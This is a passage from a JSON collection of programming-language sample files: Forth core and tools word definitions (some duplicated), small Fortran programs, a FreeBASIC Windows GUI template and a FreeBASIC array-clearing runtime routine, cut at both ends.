    "content": ": immediate   lastxt @ dup c@ negate swap c! ;\n\n: \\   source nip >in ! ; immediate \\ Copyright 2004, 2012 Lars Brinkhoff\n\n: char \\ ( \"word\" -- char )\n    bl-word here 1+ c@ ;\n\n: ahead  here 0 , ;\n\n: resolve   here swap ! ;\n\n: '   bl-word here find 0branch [ ahead ] exit [ resolve ] 0 ;\n\n: postpone-nonimmediate   [ ' literal , ' compile, ] literal , ;\n\n: create   dovariable_code header, reveal ;\n\ncreate postponers\n    ' postpone-nonimmediate ,\n    ' abort ,\n    ' , ,\n\n: word \\ ( char \"<chars>string<char>\" -- caddr )\n    drop bl-word here ;\n\n: postpone \\ ( C: \"word\" -- )\n    bl word find 1+ cells  postponers + @ execute ; immediate\n\n: unresolved \\ ( C: \"word\" -- orig )\n    postpone postpone  postpone ahead ; immediate\n\n: chars \\ ( n1 -- n2 )\n    ;\n\n: else \\ ( -- ) ( C: orig1 -- orig2 )\n    unresolved branch swap resolve ; immediate\n\n: if \\ ( flag -- ) ( C: -- orig )\n    unresolved 0branch ; immediate\n\n: then \\ ( -- ) ( C: orig -- )\n    resolve ; immediate\n\n: [char] \\ ( \"word\" -- )\n    char  postpone literal ; immediate\n\n: (does>)   lastxt @ dodoes_code over >code ! r> swap >does ! ;\n\n: does>   postpone (does>) ; immediate\n\n: begin \\ ( -- ) ( C: -- dest )\n    here ; immediate\n\n: while \\ ( x -- ) ( C: dest -- orig dest )\n    unresolved 0branch swap ; immediate\n\n: repeat \\ ( -- ) ( C: orig dest -- )\n    postpone branch ,  resolve ; immediate\n\n: until \\ ( x -- ) ( C: dest -- )\n    postpone 0branch , ; immediate\n\n: recurse   lastxt @ compile, ; immediate\n\n: pad \\ ( -- addr )\n    here 1024 + ;\n\n: parse \\ ( char \"string<char>\" -- addr n )\n    pad >r  begin\n\tsource? if <source 2dup <> else 0 0 then\n    while\n\tr@ c!  r> 1+ >r\n    repeat  2drop  pad r> over - ;\n\n: ( \\ ( \"string<paren>\" -- )\n    [ char ) ] literal parse 2drop ; immediate\n    \\ TODO: If necessary, refill and keep parsing.\n\n: string, ( addr n -- )\n    here over allot align  swap cmove ;\n\n: (s\") ( -- addr n ) ( R: ret1 -- ret2 )\n    r> dup @ swap cell+ 2dup + aligned >r swap ;\n\ncreate squote   128 allot\n\n: s\" ( \"string<quote>\" -- addr n )\n    state @ if\n\tpostpone (s\")  [char] \" parse  dup ,  string,\n    else\n\t[char] \" parse  >r squote r@ cmove  squote r>\n    then ; immediate\n\n: (abort\") ( ... addr n -- ) ( R: ... -- )\n    cr type cr abort ;\n\n: abort\" ( ... x \"string<quote>\" -- ) ( R: ... -- )\n    postpone if  postpone s\"  postpone (abort\")  postpone then ; immediate\n\n\\ ----------------------------------------------------------------------\n\n( Core words. )\n\n\\ TODO: #\n\\ TODO: #>\n\\ TODO: #s\n\n: and  ( x y -- x&y )   nand invert ;\n\n: *   1 2>r 0 swap begin r@ while\n         r> r> swap 2dup dup + 2>r and if swap over + swap then dup +\n      repeat r> r> 2drop drop ;\n\n\\ TODO: */mod\n\n: +loop ( -- ) ( C: nest-sys -- )\n    postpone (+loop)  postpone 0branch  ,  postpone unloop ; immediate\n\n: space   bl emit ;\n\n: ?.-  dup 0 < if [char] - emit negate then ;\n\n: digit   [char] 0 + emit ;\n\n: (.)   base @ /mod  ?dup if recurse then  digit ;\n\n: .\" ( \"string<quote>\" -- )   postpone s\"  postpone type ; immediate\n\n: . ( x -- )   ?.- (.) space ;\n\n: postpone-number ( caddr -- )\n    0 0 rot count >number dup 0= if\n\t2drop nip\n\tpostpone (literal)  postpone (literal)  postpone ,\n\tpostpone literal  postpone ,\n    else\n\t.\" Undefined: \" type cr abort\n    then ;\n\n' postpone-number  postponers cell+  !\n\n: / ( x y -- x/y )   /mod nip ;\n\n: 0< ( n -- flag )   0 < ;\n\n: 1- ( n -- n-1 )   -1 + ;\n\n: 2! ( x1 x2 addr -- )   swap over ! cell+ ! ;\n\n: 2* ( n -- 2n )   dup + ;\n\n\\ Kernel: 2/\n\n: 2@ ( addr -- x1 x2 )   dup cell+ @ swap @ ;\n\n\\ Kernel: 2drop\n\\ Kernel: 2dup\n\n\\ TODO: 2over ( x1 x2 x3 x4 -- x1 x2 x3 x4 x1 x2 )\n\\           3 pick 3 pick ;\n\n\\ TODO: 2swap\n\n\\ TODO: <#\n\n: abs ( n -- |n| )\n    dup 0< if negate then ;\n\n\\ TODO: accept\n\n: c, ( n -- )\n    here c!  1 chars allot ;\n\n: char+ ( n1 -- n2 )\n    1+ ;\n\n: constant   create , does> @ ;\n\n: decimal ( -- )\n    10 base ! ;\n\n: depth ( -- n )\n    data_stack 100 cells +  'SP @  - /cell /  2 - ;\n\n: do ( n1 n2 -- ) ( R: -- loop-sys ) ( C: -- do-sys )\n    postpone 2>r  here ; immediate\n\n\\ TODO: environment?\n\\ TODO: evaluate\n\\ TODO: fill\n\\ TODO: fm/mod )\n\\ TODO: hold\n\n: j ( -- x1 ) ( R: x1 x2 x3 -- x1 x2 x3 )\n    'RP @ 3 cells + @ ;\n\n\\ TODO: leave\n\n: loop ( -- ) ( C: nest-sys -- )\n    postpone 1  postpone (+loop)\n    postpone 0branch  ,\n    postpone unloop ; immediate\n\n: lshift   begin ?dup while 1- swap dup + swap repeat ;\n\n: rshift   1 begin over while dup + swap 1- swap repeat nip\n           2>r 0 1 begin r@ while\n              r> r> 2dup swap dup + 2>r and if swap over + swap then dup +\n           repeat r> r> 2drop drop ;\n\n: max ( x y -- max[x,y] )\n    2dup > if drop else nip then ;\n\n\\ Kernel: min\n\\ TODO:   mod\n\\ TODO:   move\n\n: (quit) ( R: ... -- )\n    return_stack 100 cells + 'RP !\n    0 'source-id !  tib ''source !  #tib ''#source !\n    postpone [\n    begin\n\trefill\n    while\n\tinterpret  state @ 0= if .\" ok\" cr then\n    repeat\n    bye ;\n\n' (quit)  ' quit >body cell+  !\n\n\\ TODO: s>d\n\\ TODO: sign\n\\ TODO: sm/rem\n\n: spaces ( n -- )\n    0 do space loop ;\n\n\\ TODO: u.\n\n: signbit ( -- n )   -1 1 rshift invert ;\n\n: xor ( x y -- x^y )    2dup nand >r r@ nand swap r> nand nand ;\n\n: u<  ( x y -- flag )  signbit xor swap signbit xor > ;\n\n\\ TODO: um/mod\n\n: variable ( \"word\" -- )\n    create /cell allot ;\n\n: ['] \\ ( C: \"word\" -- )\n    ' postpone literal ; immediate\n"
  },
  {
    "path": "samples/Forth/core1.F",
    "content": ": immediate   lastxt @ dup c@ negate swap c! ;\n\n: \\   source nip >in ! ; immediate \\ Copyright 2004, 2012 Lars Brinkhoff\n\n: char \\ ( \"word\" -- char )\n    bl-word here 1+ c@ ;\n\n: ahead  here 0 , ;\n\n: resolve   here swap ! ;\n\n: '   bl-word here find 0branch [ ahead ] exit [ resolve ] 0 ;\n\n: postpone-nonimmediate   [ ' literal , ' compile, ] literal , ;\n\n: create   dovariable_code header, reveal ;\n\ncreate postponers\n    ' postpone-nonimmediate ,\n    ' abort ,\n    ' , ,\n\n: word \\ ( char \"<chars>string<char>\" -- caddr )\n    drop bl-word here ;\n\n: postpone \\ ( C: \"word\" -- )\n    bl word find 1+ cells  postponers + @ execute ; immediate\n\n: unresolved \\ ( C: \"word\" -- orig )\n    postpone postpone  postpone ahead ; immediate\n\n: chars \\ ( n1 -- n2 )\n    ;\n\n: else \\ ( -- ) ( C: orig1 -- orig2 )\n    unresolved branch swap resolve ; immediate\n\n: if \\ ( flag -- ) ( C: -- orig )\n    unresolved 0branch ; immediate\n\n: then \\ ( -- ) ( C: orig -- )\n    resolve ; immediate\n\n: [char] \\ ( \"word\" -- )\n    char  postpone literal ; immediate\n\n: (does>)   lastxt @ dodoes_code over >code ! r> swap >does ! ;\n\n: does>   postpone (does>) ; immediate\n\n: begin \\ ( -- ) ( C: -- dest )\n    here ; immediate\n\n: while \\ ( x -- ) ( C: dest -- orig dest )\n    unresolved 0branch swap ; immediate\n\n: repeat \\ ( -- ) ( C: orig dest -- )\n    postpone branch ,  resolve ; immediate\n\n: until \\ ( x -- ) ( C: dest -- )\n    postpone 0branch , ; immediate\n\n: recurse   lastxt @ compile, ; immediate\n\n: pad \\ ( -- addr )\n    here 1024 + ;\n\n: parse \\ ( char \"string<char>\" -- addr n )\n    pad >r  begin\n\tsource? if <source 2dup <> else 0 0 then\n    while\n\tr@ c!  r> 1+ >r\n    repeat  2drop  pad r> over - ;\n\n: ( \\ ( \"string<paren>\" -- )\n    [ char ) ] literal parse 2drop ; immediate\n    \\ TODO: If necessary, refill and keep parsing.\n\n: string, ( addr n -- )\n    here over allot align  swap cmove ;\n\n: (s\") ( -- addr n ) ( R: ret1 -- ret2 )\n    r> dup @ swap cell+ 2dup + aligned >r swap ;\n\ncreate squote   128 allot\n\n: s\" ( \"string<quote>\" -- addr n )\n    state @ if\n\tpostpone (s\")  [char] \" parse  dup ,  string,\n    else\n\t[char] \" parse  >r squote r@ cmove  squote r>\n    then ; immediate\n\n: (abort\") ( ... addr n -- ) ( R: ... -- )\n    cr type cr abort ;\n\n: abort\" ( ... x \"string<quote>\" -- ) ( R: ... -- )\n    postpone if  postpone s\"  postpone (abort\")  postpone then ; immediate\n\n\\ ----------------------------------------------------------------------\n\n( Core words. )\n\n\\ TODO: #\n\\ TODO: #>\n\\ TODO: #s\n\n: and  ( x y -- x&y )   nand invert ;\n\n: *   1 2>r 0 swap begin r@ while\n         r> r> swap 2dup dup + 2>r and if swap over + swap then dup +\n      repeat r> r> 2drop drop ;\n\n\\ TODO: */mod\n\n: +loop ( -- ) ( C: nest-sys -- )\n    postpone (+loop)  postpone 0branch  ,  postpone unloop ; immediate\n\n: space   bl emit ;\n\n: ?.-  dup 0 < if [char] - emit negate then ;\n\n: digit   [char] 0 + emit ;\n\n: (.)   base @ /mod  ?dup if recurse then  digit ;\n\n: .\" ( \"string<quote>\" -- )   postpone s\"  postpone type ; immediate\n\n: . ( x -- )   ?.- (.) space ;\n\n: postpone-number ( caddr -- )\n    0 0 rot count >number dup 0= if\n\t2drop nip\n\tpostpone (literal)  postpone (literal)  postpone ,\n\tpostpone literal  postpone ,\n    else\n\t.\" Undefined: \" type cr abort\n    then ;\n\n' postpone-number  postponers cell+  !\n\n: / ( x y -- x/y )   /mod nip ;\n\n: 0< ( n -- flag )   0 < ;\n\n: 1- ( n -- n-1 )   -1 + ;\n\n: 2! ( x1 x2 addr -- )   swap over ! cell+ ! ;\n\n: 2* ( n -- 2n )   dup + ;\n\n\\ Kernel: 2/\n\n: 2@ ( addr -- x1 x2 )   dup cell+ @ swap @ ;\n\n\\ Kernel: 2drop\n\\ Kernel: 2dup\n\n\\ TODO: 2over ( x1 x2 x3 x4 -- x1 x2 x3 x4 x1 x2 )\n\\           3 pick 3 pick ;\n\n\\ TODO: 2swap\n\n\\ TODO: <#\n\n: abs ( n -- |n| )\n    dup 0< if negate then ;\n\n\\ TODO: accept\n\n: c, ( n -- )\n    here c!  1 chars allot ;\n\n: char+ ( n1 -- n2 )\n    1+ ;\n\n: constant   create , does> @ ;\n\n: decimal ( -- )\n    10 base ! ;\n\n: depth ( -- n )\n    data_stack 100 cells +  'SP @  - /cell /  2 - ;\n\n: do ( n1 n2 -- ) ( R: -- loop-sys ) ( C: -- do-sys )\n    postpone 2>r  here ; immediate\n\n\\ TODO: environment?\n\\ TODO: evaluate\n\\ TODO: fill\n\\ TODO: fm/mod )\n\\ TODO: hold\n\n: j ( -- x1 ) ( R: x1 x2 x3 -- x1 x2 x3 )\n    'RP @ 3 cells + @ ;\n\n\\ TODO: leave\n\n: loop ( -- ) ( C: nest-sys -- )\n    postpone 1  postpone (+loop)\n    postpone 0branch  ,\n    postpone unloop ; immediate\n\n: lshift   begin ?dup while 1- swap dup + swap repeat ;\n\n: rshift   1 begin over while dup + swap 1- swap repeat nip\n           2>r 0 1 begin r@ while\n              r> r> 2dup swap dup + 2>r and if swap over + swap then dup +\n           repeat r> r> 2drop drop ;\n\n: max ( x y -- max[x,y] )\n    2dup > if drop else nip then ;\n\n\\ Kernel: min\n\\ TODO:   mod\n\\ TODO:   move\n\n: (quit) ( R: ... -- )\n    return_stack 100 cells + 'RP !\n    0 'source-id !  tib ''source !  #tib ''#source !\n    postpone [\n    begin\n\trefill\n    while\n\tinterpret  state @ 0= if .\" ok\" cr then\n    repeat\n    bye ;\n\n' (quit)  ' quit >body cell+  !\n\n\\ TODO: s>d\n\\ TODO: sign\n\\ TODO: sm/rem\n\n: spaces ( n -- )\n    0 do space loop ;\n\n\\ TODO: u.\n\n: signbit ( -- n )   -1 1 rshift invert ;\n\n: xor ( x y -- x^y )    2dup nand >r r@ nand swap r> nand nand ;\n\n: u<  ( x y -- flag )  signbit xor swap signbit xor > ;\n\n\\ TODO: um/mod\n\n: variable ( \"word\" -- )\n    create /cell allot ;\n\n: ['] \\ ( C: \"word\" -- )\n    ' postpone literal ; immediate\n"
  },
  {
    "path": "samples/Forth/enum.frt",
    "content": "\\ Implements ENUM.\n\n\\ Double DOES>!\n: enum   create 0 ,  does> create dup @ 1 rot +! ,  does> @ ;\n\n\\ But this is simpler.\n: enum   create 0 ,  does> dup @ constant 1 swap +! ;\n"
  },
  {
    "path": "samples/Forth/hello-forth.forth",
    "content": ": HELLO  ( -- )\n    .\" Hello Forth (forth)!\" ; \n\nHELLO\n\n"
  },
  {
    "path": "samples/Forth/hello-forth.fth",
    "content": ": HELLO  ( -- )\n    .\" Hello Forth (fth)!\" ; \n\nHELLO\n\n"
  },
  {
    "path": "samples/Forth/macros.frt",
    "content": "\\ Simplifies compiling words.\n\n: [[     ; immediate\n: '<>    >in @ ' swap >in ! <> ;\n: (]])   begin dup '<> while postpone postpone repeat drop ;\n: ]]     ['] [[ (]]) ; immediate\n\n( Usage:   : foo ]] dup * [[ ; immediate   : bar 42 foo . ; )\n"
  },
  {
    "path": "samples/Forth/tools.4TH",
    "content": "\\ -*- forth -*- Copyright 2004, 2013 Lars Brinkhoff\n\n( Tools words. )\n\n: .s ( -- )\n    [char] < emit  depth (.)  .\" > \"\n    'SP @ >r r@ depth 1- cells +\n    begin\n\tdup r@ <>\n    while\n\tdup @ .\n\t/cell -\n    repeat r> 2drop ;\n\n: ?   @ . ;\n\n: c?   c@ . ;\n\n: dump   bounds do i ? /cell +loop cr ;\n\n: cdump   bounds do i c? loop cr ;\n\n: again   postpone branch , ; immediate\n\n: see-find ( caddr -- end xt )\n    >r here lastxt @\n    begin\n\tdup 0= abort\" Undefined word\"\n\tdup r@ word= if r> drop exit then\n\tnip dup >nextxt\n    again ;\n\n: cabs ( char -- |char| )   dup 127 > if 256 swap - then ;\n\n: xt. ( xt -- )\n    ( >name ) count cabs type ;\n\n: xt? ( xt -- flag )\n    >r lastxt @ begin\n\t?dup\n    while\n\tdup r@ = if r> 2drop -1 exit then\n\t>nextxt\n    repeat r> drop 0 ;\n\n: disassemble ( x -- )\n    dup xt? if\n        ( >name ) count\n        dup 127 > if .\" postpone \" then\n        cabs type\n    else\n        .\n    then ;\n\n: .addr  dup . ;\n\n: see-line ( addr -- )\n    cr .\"     ( \" .addr .\" ) \"  @ disassemble ;\n\n: see-word ( end xt -- )\n    >r .\" : \" r@ xt.\n    r@ >body do i see-line /cell +loop\n    .\"  ;\" r> c@ 127 > if .\"  immediate\" then ;\n\n: see   bl word see-find see-word cr ;\n\n: #body   bl word see-find >body - ;\n\n: type-word ( end xt -- flag )\n    xt. space drop 0 ;\n\n: traverse-dictionary ( in.. xt -- out.. )\n    \\ xt execution: ( in.. end xt2 -- in.. 0 | in.. end xt2 -- out.. true )\n    >r  here lastxt @  begin\n\t?dup\n    while\n\tr> 2dup >r >r execute\n\tif r> r> 2drop exit then\n\tr> dup >nextxt\n    repeat r> 2drop ;\n\n: words ( -- )\n    ['] type-word traverse-dictionary cr ;\n\n\\ ----------------------------------------------------------------------\n\n( Tools extension words. )\n\n\\ ;code\n\n\\ assembler\n\n\\ in kernel: bye\n\n\\ code\n\n\\ cs-pick\n\n\\ cs-roll\n\n\\ editor\n\n: forget   ' dup >nextxt lastxt !  'here !  reveal ;\n\n\\ Kernel: state\n\n\\ [else]\n\n\\ [if]\n\n\\ [then]\n\n\\ ----------------------------------------------------------------------\n\n( Forth2012 tools extension words. )\n\n\\ TODO: n>r\n\n\\ TODO: nr>\n\n\\ TODO: synonym\n\n: [undefined]   bl-word find nip 0= ; immediate\n\n: [defined]   postpone [undefined] invert ; immediate\n\n\\ ----------------------------------------------------------------------\n\n: @+ ( addr -- addr+/cell x )   dup cell+ swap @ ;\n\n: !+ ( x addr -- addr+/cell )   tuck ! cell+ ;\n\n: -rot   swap >r swap r> ;\n"
  },
  {
    "path": "samples/Forth/tools.fth",
    "content": "\\ -*- forth -*- Copyright 2004, 2013 Lars Brinkhoff\n\n( Tools words. )\n\n: .s ( -- )\n    [char] < emit  depth (.)  .\" > \"\n    'SP @ >r r@ depth 1- cells +\n    begin\n\tdup r@ <>\n    while\n\tdup @ .\n\t/cell -\n    repeat r> 2drop ;\n\n: ?   @ . ;\n\n: c?   c@ . ;\n\n: dump   bounds do i ? /cell +loop cr ;\n\n: cdump   bounds do i c? loop cr ;\n\n: again   postpone branch , ; immediate\n\n: see-find ( caddr -- end xt )\n    >r here lastxt @\n    begin\n\tdup 0= abort\" Undefined word\"\n\tdup r@ word= if r> drop exit then\n\tnip dup >nextxt\n    again ;\n\n: cabs ( char -- |char| )   dup 127 > if 256 swap - then ;\n\n: xt. ( xt -- )\n    ( >name ) count cabs type ;\n\n: xt? ( xt -- flag )\n    >r lastxt @ begin\n\t?dup\n    while\n\tdup r@ = if r> 2drop -1 exit then\n\t>nextxt\n    repeat r> drop 0 ;\n\n: disassemble ( x -- )\n    dup xt? if\n        ( >name ) count\n        dup 127 > if .\" postpone \" then\n        cabs type\n    else\n        .\n    then ;\n\n: .addr  dup . ;\n\n: see-line ( addr -- )\n    cr .\"     ( \" .addr .\" ) \"  @ disassemble ;\n\n: see-word ( end xt -- )\n    >r .\" : \" r@ xt.\n    r@ >body do i see-line /cell +loop\n    .\"  ;\" r> c@ 127 > if .\"  immediate\" then ;\n\n: see   bl word see-find see-word cr ;\n\n: #body   bl word see-find >body - ;\n\n: type-word ( end xt -- flag )\n    xt. space drop 0 ;\n\n: traverse-dictionary ( in.. xt -- out.. )\n    \\ xt execution: ( in.. end xt2 -- in.. 0 | in.. end xt2 -- out.. true )\n    >r  here lastxt @  begin\n\t?dup\n    while\n\tr> 2dup >r >r execute\n\tif r> r> 2drop exit then\n\tr> dup >nextxt\n    repeat r> 2drop ;\n\n: words ( -- )\n    ['] type-word traverse-dictionary cr ;\n\n\\ ----------------------------------------------------------------------\n\n( Tools extension words. )\n\n\\ ;code\n\n\\ assembler\n\n\\ in kernel: bye\n\n\\ code\n\n\\ cs-pick\n\n\\ cs-roll\n\n\\ editor\n\n: forget   ' dup >nextxt lastxt !  'here !  reveal ;\n\n\\ Kernel: state\n\n\\ [else]\n\n\\ [if]\n\n\\ [then]\n\n\\ ----------------------------------------------------------------------\n\n( Forth2012 tools extension words. )\n\n\\ TODO: n>r\n\n\\ TODO: nr>\n\n\\ TODO: synonym\n\n: [undefined]   bl-word find nip 0= ; immediate\n\n: [defined]   postpone [undefined] invert ; immediate\n\n\\ ----------------------------------------------------------------------\n\n: @+ ( addr -- addr+/cell x )   dup cell+ swap @ ;\n\n: !+ ( x addr -- addr+/cell )   tuck ! cell+ ;\n\n: -rot   swap >r swap r> ;\n"
  },
  {
    "path": "samples/Fortran/bug-185631.f",
    "content": "! Codes/HYCOM/hycom/ATLb2.00/src_2.0.01_22_one/\n      real onemu, twomu\n      data onemu/0.0098/\n      data twomu/1./\n      data threemu/0.e9/\n      end\n"
  },
  {
    "path": "samples/Fortran/sample1.f",
    "content": "c comment\n* comment\n\n      program main\n\n      end\n\n      subroutine foo( i, x, b )\n      INTEGER            i\n      REAL               x\n      LOGICAL            b\n\n      if( i.ne.0 ) then\n         call bar( -i )\n      end if\n\n      return\n      end\n\n      double complex function baz()\n\n      baz = (0.0d0,0.0d0)\n\n      return \n      end\n"
  },
  {
    "path": "samples/Fortran/sample1.for",
    "content": "c comment\n* comment\n\n      program main\n\n      end\n\n      subroutine foo( i, x, b )\n      INTEGER            i\n      REAL               x\n      LOGICAL            b\n\n      if( i.ne.0 ) then\n         call bar( -i )\n      end if\n\n      return\n      end\n\n      double complex function baz()\n\n      baz = (0.0d0,0.0d0)\n\n      return \n      end\n"
  },
  {
    "path": "samples/Fortran/sample2.f",
    "content": "      PROGRAM MAIN\n\n      END\n\nC comment\n* comment\n\n      SUBROUTINE foo( i, x, b )\n      INTEGER            i\n      REAL               x\n      LOGICAL            b\n\n      IF( i.NE.0 ) THEN\n         CALL bar( -i )\n      END IF\n\n      RETURN\n      END\n\n      DOUBLE COMPLEX FUNCTION baz()\n\n      baz = (0.0d0,0.0d0)\n\n      RETURN \n      END\n"
  },
  {
    "path": "samples/Fortran/sample3.F",
    "content": "c comment\n* comment\n\n      program main\n\n      end\n\n      subroutine foo( i, x, b )\n      INTEGER            i\n      REAL               x\n      LOGICAL            b\n\n      if( i.ne.0 ) then\n         call bar( -i )\n      end if\n\n      return\n      end\n\n      double complex function baz()\n\n      baz = (0.0d0,0.0d0)\n\n      return \n      end\n"
  },
  {
    "path": "samples/FreeBASIC/WinGUI template.bi",
    "content": "#include \"windows.bi\"\r\n#include \"win\\commctrl.bi\"   ' for CreateStatusWindow\r\nDim Shared As Handle hEdit, hList, hStatus\r\nFunction WndProc(hWnd As HWND, msg As  UINT, wParam As WPARAM, lParam As LPARAM) As LRESULT\r\n   Dim As RECT rc\r\n   Dim As PAINTSTRUCT ps\r\n   Dim As HANDLE PtDC\r\n   Dim As HMENU hMenu, hPopup, hPop2\r\n   Select Case msg\r\n   Case WM_CREATE\r\n      hMenu=CreateMenu()               ' create the main menu\r\n      hPopup=CreatePopupMenu()               ' create a sub-menu\r\n      AppendMenu(hMenu, MF_POPUP, Cast(UINT_PTR, hPopup), \"&File\")      ' add it to the main menu\r\n      AppendMenu(hPopup, MF_STRING, 101, \"&Open\")       ' one more main item\r\n      hPop2=CreatePopupMenu()               ' create a sub-menu\r\n      AppendMenu(hPop2, MF_STRING, 121, \"&sources\")      ' fill it\r\n      AppendMenu(hPop2, MF_STRING, 122, \"&includes\")      ' with various\r\n      AppendMenu(hPop2, MF_STRING, 123, \"&DLLs\")      ' options\r\n      AppendMenu(hPopup, MF_POPUP, Cast(UINT_PTR, hPop2), \"&Dir\")      ' and add it to the main menu as \"Dir\"\r\n      AppendMenu(hPopup, MF_STRING, 102, \"&Save\")       ' one more main item\r\n      AppendMenu(hPopup, MF_STRING, 103, \"E&xit\")       ' one more main item\r\n      SetMenu(hWnd, hMenu)               ' attach menu to main window\r\n      hStatus=CreateStatusWindow(WS_CHILD Or WS_VISIBLE Or WS_CLIPSIBLINGS Or SBS_SIZEGRIP, 0, hWnd, 99)\r\n      SendMessage(hStatus, WM_SETTEXT, 0, Cast(lParam, @\"This is the status bar\"))\r\n      hEdit=CreateWindowEx(WS_EX_CLIENTEDGE, \"edit\", \"Hello, I am an edit control\", WS_CHILD Or WS_VISIBLE Or ES_MULTILINE, 0, 0, 100, 100, hWnd, hMenu, 0, 0)\r\n      hList=CreateWindowEx(WS_EX_CLIENTEDGE, \"listbox\", 0, WS_CHILD Or WS_VISIBLE, 0, 0, 100, 100, hWnd, hMenu, 0, 0)\r\n      SendMessage(hList, LB_ADDSTRING, 0, Cast(lParam, @\"line 1\"))\r\n      If Open(Command(1) For Binary Access Read As #1) = 0 Then\r\n         Dim As UByte file_char ( LOF(1))\r\n         Get #1, , file_char()\r\n         Close #1\r\n         SendMessage(hEdit, WM_SETTEXT, 0, Cast(lParam, @file_char(0)))\r\n      endif\r\n   Case WM_COMMAND\r\n      Select Case wParam\r\n      Case 101: MessageBox(hWnd, \"Open not implemented\", 0, MB_OK)\r\n      Case 102: MessageBox(hWnd, \"Save not implemented\", 0, MB_OK)\r\n      Case 121: MessageBox(hWnd, \"No *.bas files found\", 0, MB_OK)\r\n      Case 122: MessageBox(hWnd, \"No *.inc files found\", 0, MB_OK)\r\n      Case 123: MessageBox(hWnd, \"No *.dll files found\", 0, MB_OK)\r\n      Case 103: SendMessage(hWnd, WM_CLOSE, 0, 0)\r\n      End Select\r\n   Case WM_PAINT\r\n      PtDC=BeginPaint(hWnd, @ps)\r\n      SetBkMode(PtDC, TRANSPARENT)\r\n      TextOut(PtDC, 4, 4, \"Greetings from the WM_PAINT handler\", 35)\r\n      EndPaint(hWnd, @ps)\r\n   Case WM_KEYDOWN\r\n      if wParam=VK_ESCAPE then SendMessage(hWnd, WM_CLOSE, 0, 0)\r\n   Case WM_SIZE\r\n      GetClientRect(hWnd, @rc)\r\n      MoveWindow(hEdit, 3, 28, rc.right-66, rc.bottom-50, 0)\r\n      MoveWindow(hList, rc.right-60, 28, rc.right-6, rc.bottom-50, 0)\r\n   Case WM_DESTROY\r\n      PostQuitMessage(0)\r\n   End Select\r\n   return DefWindowProc(hwnd, msg, wParam, lParam)\r\nEnd Function\r\ntype pCall as function (xy as any ptr) as long\r\ntype DLLVERSIONINFO\r\n   cbSize as long\r\n   dwMajorVersion as long\r\n   dwMinorVersion as long\r\n   dwBuildNumber as long\r\n   dwPlatformID as long\r\nend type\r\nFunction WinMain(hInstance As HINSTANCE, hPrevInstance As HINSTANCE, lpCmdLine As LPSTR, nShowCmd As Integer) As Integer\r\n   Dim wc As WNDCLASSEX, msg As MSG, hDll As HANDLE, hIconLib As HANDLE, pGetVersion as pCall, dvi As DLLVERSIONINFO\r\n   dvi.cbSize=sizeof(DLLVERSIONINFO)\r\n   hIconLib=LoadLibrary(\"shell32\")\r\n   wc.hIcon = LoadIcon(hIconLib, Cast(LPCTSTR, 239))   ' get the butterfly icon\r\n   FreeLibrary(hIconLib)\r\n   hDll=LoadLibrary(\"ComCtl32\")\r\n   pGetVersion=Cast(Any Ptr, GetProcAddress(hDll, \"DllGetVersion\"))\r\n   pGetVersion(@dvi)\r\n   If @dvi.dwMajorVersion Then Print \"Using common controls version \";Str(dvi.dwMajorVersion);\".\";Str(dvi.dwMinorVersion)\r\n   FreeLibrary(hDll)\r\n   wc.cbSize = SizeOf(WNDCLASSEX)\r\n   wc.hbrBackground = GetStockObject(COLOR_BTNFACE+1)\r\n   wc.hCursor = LoadCursor(0, IDC_ARROW)\r\n   wc.hIconSm = wc.hIcon\r\n   wc.hInstance = hInstance\r\n   wc.lpfnWndProc = @WndProc\r\n   wc.lpszClassName = @\"FbGui\"\r\n   wc.style = CS_HREDRAW Or CS_VREDRAW\r\n   RegisterClassEx(@wc)\r\n   If CreateWindowEx(0, wc.lpszClassName, \"Hello World\",_\r\n      WS_OVERLAPPEDWINDOW Or WS_VISIBLE, (GetSystemMetrics(SM_CXSCREEN) / 2) - 150,_\r\n      (GetSystemMetrics(SM_CYSCREEN) / 2) - 150, 300, 300, 0, 0, hInstance, 0)=0 Then\r\n      MessageBox(0, \"Creating hMain failed miserably\", 0, MB_OK)\r\n      Return 0\r\n   End If\r\n   While GetMessage(@msg, 0, 0, 0)\r\n      TranslateMessage(@msg)\r\n      DispatchMessage(@msg)\r\n   Wend\r\n   Return msg.wParam\r\nEnd Function\r\nWinMain(GetModuleHandle(NULL), NULL, Command(), SW_NORMAL)\r\n"
  },
  {
    "path": "samples/FreeBASIC/array_clearobj.bas",
    "content": "/' ERASE for static arrays of objects: re-init the elements '/\n\n#include \"fb.bi\"\n\nextern \"C\"\nsub fb_hArrayCtorObj( array as FBARRAY ptr, ctor as FB_DEFCTOR, base_idx as size_t )\n\tdim as size_t i, elements, element_len\n\tdim as FBARRAYDIM ptr _dim\n\tdim as ubyte ptr this_\n\n\tif ( array->_ptr = NULL ) then\n\t\texit sub\n\tend if\n\t\n\t_dim = @array->dimTB(0)\n\telements = _dim->elements - base_idx\n\t_dim += 1\n\n\ti = 1\n\twhile( i < array->dimensions )\n\t\telements *= _dim->elements\n\t\ti += 1\n\t\t_dim += 1\n\twend\n\n\t/' call ctors '/\n\telement_len = array->element_len\n\tthis_ = array->_ptr\n\n\twhile( elements > 0 )\n\t\t/' !!!FIXME!!! check exceptions (only if rewritten in C++) '/\n\t\tctor( this_ )\n\t\tthis_ += element_len\n\t\telements -= 1\n\twend\nend sub\n\nfunction fb_ArrayClearObj FBCALL ( array as FBARRAY ptr, ctor as FB_DEFCTOR, dtor as FB_DEFCTOR ) as long\n\t/' destruct all objects in the array\n\t   (dtor can be NULL if there only is a ctor) '/\n\tif ( dtor <> 0 ) then\n\t\tfb_ArrayDestructObj( array, dtor )\n\tend if\n\n\t/' re-initialize (ctor can be NULL if there only is a dtor) '/\n\tif( ctor <> 0) then\n\t\t/' if a ctor exists, it should handle the whole initialization '/\n\t\tfb_hArrayCtorObj( array, ctor, 0 )\n\telse\n\t\t/' otherwise, just clear '/\n\t\tfb_ArrayClear( array )\n\tend if\n\n\treturn fb_ErrorSetNum( FB_RTERROR_OK )\nend function\nend extern"
  },
  {
    "path": "samples/FreeBASIC/ir.bas",
